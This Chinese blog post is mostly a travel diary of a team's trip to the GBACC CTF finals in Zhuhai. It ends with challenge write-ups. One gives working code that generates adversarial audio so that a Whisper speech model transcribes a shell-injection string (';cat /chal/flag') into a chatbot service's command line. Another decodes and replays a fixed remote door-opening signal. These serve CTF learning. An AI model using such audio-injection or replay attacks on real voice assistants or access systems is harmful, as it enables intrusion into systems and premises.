本次也是非常幸运的，在候补名单里面进了 GBACC 的决赛
因为得到消息的时候，是周四，我们下周一就要打决赛了，所以光速定了酒店和过去的高铁票
同样，因为是决赛，所以很可能就会变成我们的公费旅游环节，比赛的东西我会放到最后的
旅游
比赛前日——出发
我们是周六去的珠海，当天早上买的 10:14 的票从南站出发去的，第一次坐到有这样的桌子的高铁
我们总共两个队伍去，在我们没有商量的情况下，我们甚至买的同一班高铁（笑哭）
到了以后，我们先去酒店办理入住，但是因为我们来的太早了，实在是没有清理好的客房，于是让我们做了个登记，我们就去吃午餐了
在附近的广场吃完午餐，就去赛场先签到了
比赛前日——签到
比赛场馆是珠海国际会展中心，这个地方说实话，是真的大啊~~~
给你们看张酒店拍的图，感受一下（对面是澳门）
反正一路上走，看到很多湾区杯的牌牌，想着跟着走准没错，结果走了快20分钟才到那个门口（问就是找错门了）
首先在门口看到的，就是两个大牌牌
然后我们一路坐电梯上到4楼（这栋建筑只有1楼和4楼），找到签到处，签了个到，领取了我们的物资
其实我们第一次来的时候，来太早了，他们没上班，我们在隔壁的酒店坐了一会才过来的
把东西拿回酒店后，给手机稍微充了一下电我就出门了，我要去找我复读的哥们
比赛前日——串门
本次的目标是暨南大学（珠海校区），距离我们的酒店也不是很远，八公里，直接打个车过去
与大多数高校相同，这里不让陌生人进去，要进去只能混闸，那没办法，只能等哥们出来接了
我们先去吃了冰，说实话，我已经很久没吃过冰了，偶尔吃一次还是可以的
然后我们就逛了一圈暨大珠海（没拍图），我还见到了一种没见过的取快递方式
我们学校这边的驿站是会把取件码发到手机上的，凭取件码拿件后自助出库，或者是丰巢柜直接取，这边不是
首先，你得先根据提示找到你快递所属的快递公司，然后在货架上找到自己的快递
然后，你要打开拼多多（我也不知道为什么限定pdd），将身份码与你快递的条码同时放在自助出库机的摄像头内，同时扫到两个才能出库
emmmm，我不好评价，我感觉效率应该会很低
比赛前日——看题
比赛前一天，把AI题的附件给我们了，顺带告诉我们需要什么环境（鉴定为优秀赛事组委会）
然后我们就得到了 AI 题的附件，具体情况看下面比赛那一节吧
比赛当天——赛场
当天来到我们的位置，就看到了小零食袋
呜，第一次遇到会给零食袋到座位上的赛事组委会，他真的，我哭死｡°(°¯᷄◠¯᷅°)°｡
我们就迅速整理好我们的设备，然后进入了摸鱼模式（因为有开幕式）
比赛当天——赛中
到了九点半，终于开打了，然后开场 AI 题就不出所料的，被爆了
比赛过程中我们还是尽力去打了，但是嘛，yysy，干不过 =-=
比赛当天——赛后
赛后，见到了群里的 @Lil-Ran 和 @ProbiusOfficial，@Lil-Ran 是专程过来玩的，@ProbiusOfficial 是参赛选手（也是跟探姬同台竞技了）
其实吧，CTFer 面基就是，线上全是E人，线下全是I人，真的会很尴尬的
最后我们拿到的是入围奖（即参与奖），也是当做经历的一部分了
比赛
比赛这方面，因为不让用网（线下赛是这样的），所以打起来很多东西没法搜，特别是 S7COMM 协议的报文格式，我是真的没存，所以那个题目出不来
下面还是说一下我出来的那几个题目吧
AI 题
我忘了这题的题目名称叫什么了，反正是个 AI 题，提前给了附件的
在回到酒店以后，把附件下载下来，发现是一个LLM服务，但本质上是一个可利用语音识别的半个伪MCP服务
为什么我会说是 MCP 服务，是因为在代码中有这样的内容
chatbot_proc = await asyncio.create_subprocess_shell(
f"python3 chatbot.py '{transcription}'",
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT
)chatbot.py 的用法是这样的
if __name__ == "__main__":
if len(sys.argv) < 2:
print("用法: python chat.py \"你的问题\"")
sys.exit(0)
user_input = " ".join(sys.argv[1:])
print("Chatbot:", get_response(user_input))所以说，理论上，我们直接干扰这里传入的 transcription 即可，有点像 sql 注入，例如，这里假设我们传入 '; echo Hacked'，那么拼接就得到 python chatbot.py '; echo Hacked'
根据这样的代码，能够搜到一篇文章
https://blog.bi0s.in/2025/07/14/Misc/DontWhisper-bi0sCTF2025/
里面给出了他们的原理和代码，我就不再赘述了，直接拿过来用
import torch
from whisper import load_model
from whisper.audio import log_mel_spectrogram, pad_or_trim
from whisper.tokenizer import get_tokenizer
import torchaudio
from torch import nn
DEVICE = "cuda"
target_text = "';cat /chal/flag'"
model = load_model("tiny.en")
model.eval()
tokenizer = get_tokenizer(
model.is_multilingual,
num_languages=model.num_languages,
language="en",
task="transcribe",
)
target_tokens = tokenizer.encode(target_text)
target_tokens = target_tokens + [50256] # Add EOT token
adv = torch.randn(1, 16000*20, device=DEVICE, requires_grad=True)
optimizer = torch.optim.Adam([adv], lr=0.01)
loss_fn = nn.CrossEntropyLoss()
num_iterations = 50
for i in range(num_iterations):
tokens = torch.tensor([[50257, 50362]], device=DEVICE) # [SOT, EN]
total_loss = 0
for target_token in target_tokens:
optimizer.zero_grad()
mel = log_mel_spectrogram(adv, model.dims.n_mels, padding=16000*30)
mel = pad_or_trim(mel, 3000).to(model.device)
audio_features = model.embed_audio(mel)
logits = model.logits(tokens, audio_features)[:, -1]
loss = loss_fn(logits, torch.tensor([target_token], device=DEVICE))
total_loss += loss
loss.backward()
optimizer.step()
adv.data = adv.data.clamp(-1, 1)
assert adv.max() <= 1 and adv.min() >= -1
tokens = torch.cat([tokens, torch.tensor([[target_token]], device=DEVICE)], dim=1)
print(f"Iteration {i+1}/{num_iterations}, Loss: {loss.item():.4f}")
torchaudio.save("adversarial.wav", adv.detach().cpu(), 16000)
print("Transcribing generated adversarial audio:")
result = model.transcribe(adv.detach().cpu().squeeze(0))
print(f"Transcription: {result['text']}")本来我的命令是 cat /flag 的，但是做题的时候告诉我没有这个文件，队友测了一下这个题连路径都没改
az，那行吧
Signal
点击按遥控器开门，会下载一段以 0.1s 为分段，总长为 1.5s 的 wav 音频，直接看频谱图就能发现端倪
根据频谱图，因为我们难以看出为 0 的频谱段上方最大值是多少，所以我们倒着看，可以认为当这一 0.1s 中含有 600Hz 的时候，此段的值为 0，否则为 1
写一个 Python 脚本
def detect_600hz_in_wav(path, thr=1e-3):
fs, data = wav.read(path) # 读取 wav
data = data.mean(axis=1) # 姑且先掰成单声道
data = data.astype(np.float32)
win_len = int(round(0.1 * fs)) # 0.1 s
step = win_len # 无重叠
n_win = 15
seq = []
# 600Hz 对应的 FFT bin
freq_bins = np.fft.rfftfreq(win_len, d=1.0/fs)
idx_600 = np.argmin(np.abs(freq_bins - 600.0))
for i in range(n_win):
start = i * step
win = data[start : start + win_len]
# 直接 FFT，取幅度
mag = np.abs(np.fft.rfft(win))
mag_600 = mag[idx_600]
seq.append(1 if mag_600 > thr else 0)
return "".join(list(map(str, seq)))这样就可以得到所需要的数字序列，然后就是不断地去下载 wav 文件，看看这个序列有什么规律，主要考虑是一般的车子是有一个 code 一直在计算的动态的，所以尝试找到它的规律，结果发现
╰─ uv run F:\CTF\Workspace\GBACC-Finals\Signal\sol.py
['101101001000100', '100111001000111', '100110100110010', '101100100110010', '100110101001101', '100111001000100', '100111001010100', '100110101010100', '101101001000111', '100110101000100']
╰─ uv run F:\CTF\Workspace\GBACC-Finals\Signal\sol.py
['101101001000100', '100111001000111', '100110100110010', '101100100110010', '100110101001101', '100111001000100', '100111001010100', '100110101010100', '101101001000111', '100110101000100']于是就被鉴定为固定序列了，即下一次的信号是可以预测的
尝试做一个自动化提交
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CTF 题用：检测 1.5s wav
按 0.1s 切片，若每片 FFT 的 600Hz 频率分量大于阈值 → 0；否则 → 1
返回 15 位 0/1 序列
"""
import numpy as np
import scipy.io.wavfile as wav
import sys
import requests
import time
URL = "http://172.36.147.165:5000/"
GET_WAV_URL = URL + "generate_remote"
SUBMIT_URL = URL + "submit"
SEQUENCE = ['100110101001101', '100111001000100', '100111001010100', '100110101010100', '101101001000111', '100110101000100', '101100100110010', '101101001000100', '100111001000111', '100110100110010', '101100100110010']
# ... 函数省略
if __name__ == "__main__":
# 第一次获取
get_and_save_wav()
result = detect_600hz_in_wav("tmp.wav")
idx = SEQUENCE.index(result)
print(result, idx)
# 第二次获取
t = time.time()
get_and_save_wav()
result = SEQUENCE[(idx + 1) % len(SEQUENCE)]
print(result)
submit_answer(result)
print(time.time() - t)
发现一直在报错误，结果发现有一个码出现了两次，实际序列应该为
100110101001101
100111001000100
100111001010100
100110101010100
101101001000111
100110101000100
101100100110010
101101001000100
100111001000111
100110100110010
101100100110010那我可管不了那么多，直接开爆，全都交一次就是了
result_dict = {}
def get_and_save_wav(filename: str = "tmp.wav"):
resp = requests.get(GET_WAV_URL)
resp.raise_for_status()
with open(filename, "wb") as f:
f.write(resp.content)
if __name__ == "__main__":
for _ in range(11):
get_and_save_wav(f"{_}.wav")
result = detect_600hz_in_wav(f"{_}.wav")
result_dict[_] = result
for file_id, answer in result_dict.items():
print(file_id, answer)
submit_answer(answer, wav_path=f"{file_id}.wav")╰─ uv run F:\CTF\Workspace\GBACC-Finals\Signal\sol.py
0 101100100110010
{"message":"\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8","success":false}
1 100110101001101
{"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true}
2 100111001000100
{"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true}
3 100111001010100
{"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true}
4 100110101010100
{"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true}
5 101101001000111
{"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true}
6 100110101000100
{"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true}
7 101100100110010
{"message":"\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8","success":false}
8 101101001000100
{"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true}
9 100111001000111
{"message":"\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8","success":false}
10 100110100110010
{"message":"\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8","success":false}然后就得到了有 4 个是无效答案，其他都能够出 flag => flag{good_signal_modem}
后日谈
难得进了一次阵势那么大的比赛的决赛，说实话，真的干不过其他人，好多大佬
这次比赛的内容也是比较新颖，Web3、工控、低空经济、AI什么的，传统的 CTF 已经不能满足现在的网络安全形式了，也确实该接触一些新的东西，而不是守着传统的那几个方向打不停，后面也是要扩大学习面了
相册
